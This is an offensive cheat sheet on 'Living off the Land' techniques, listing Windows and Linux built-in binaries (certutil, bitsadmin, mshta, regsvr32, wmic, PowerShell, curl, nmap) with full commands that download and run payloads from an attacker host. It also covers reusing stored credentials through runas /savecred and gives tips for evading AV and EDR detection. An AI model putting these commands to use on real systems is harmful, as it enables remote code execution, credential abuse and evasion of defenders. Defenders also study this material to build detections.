Living off the Land (LOL) means using binaries already on the target to do your work. The point is simple: a signed Microsoft binary isn’t going to get flagged by AV; your custom downloader.exe will. Reference sources:
- Windows: LOLBAS Project
- Linux: GTFOBins
LOLBins can perform:
- Download / Upload
- Command execution
- File read / write
- AV, AppLocker, UAC bypasses
Windows LOLBAS Highlights
certutil.exe
certutil.exe -urlcache -split -f "http://10.10.10.10/nc.exe" nc.exe
certutil.exe -verifyctl -split -f "http://10.10.10.10/nc.exe"
certutil.exe -encode input.bin encoded.b64
certutil.exe -decode encoded.b64 output.binbitsadmin.exe
bitsadmin /transfer job /download /priority normal http://10.10.10.10/nc.exe C:\Users\Public\nc.exedesktopimgdownldr.exe
set "SYSTEMROOT=C:\Users\Public" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://10.10.10.10/nc.exe /eventName:desktopimgdownldrmshta.exe — Remote HTA Execution
mshta.exe http://10.10.10.10/evil.htaregsvr32.exe — Remote SCT (Squiblydoo)
regsvr32.exe /s /n /u /i:http://10.10.10.10/file.sct scrobj.dllwmic.exe — Remote XSL
wmic.exe os get /format:"http://10.10.10.10/evil.xsl"powershell.exe One-Liner
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/x.ps1')"cmdkey.exe + runas — Stored Credentials
cmdkey /list
runas /savecred /user:DOMAIN\admin "powershell -c IEX(iwr http://...)"Linux GTFOBins Highlights
curl / wget
curl -o /tmp/x http://10.10.10.10/x
wget http://10.10.10.10/x -O /tmp/xscp (also valid shell escape)
scp -S /tmp/pwn.sh x y: # misuse of -S to execute a scriptopenssl as HTTP client
openssl s_client -quiet -connect 10.10.10.10:443 < request.txtnmap
# Transfer via --script
nmap --script http-fetch http://10.10.10.10/x -oN out.txtvim / nano / tar / zip
Most editors and archivers can read remote URLs or spawn shells — always check GTFOBins for the specific binary.
Signed Binary Abuse Pattern
The common structure:
- Pick a Microsoft-signed binary (
certutil,bitsadmin,mshta,regsvr32,wmic,msiexec,installutil,rundll32). - Find its flag that accepts a URL or path.
- Point it at your payload.
- AV sees a signed Microsoft binary — low or no alert.
Current detections
Modern EDR flags
certutil -urlcache -f,bitsadmin /transfer, andmshtafrom untrusted URLs. Pair with User-Agent spoofing and payload renaming, or move to less-signatured LOLBins.
Operator discipline
Don’t fire LOLBins at random — each leaves a distinct process-tree artifact (
parent=word.exe child=mshta.exeis a sensor goldmine). Match the LOLBin to the parent context you’re in.
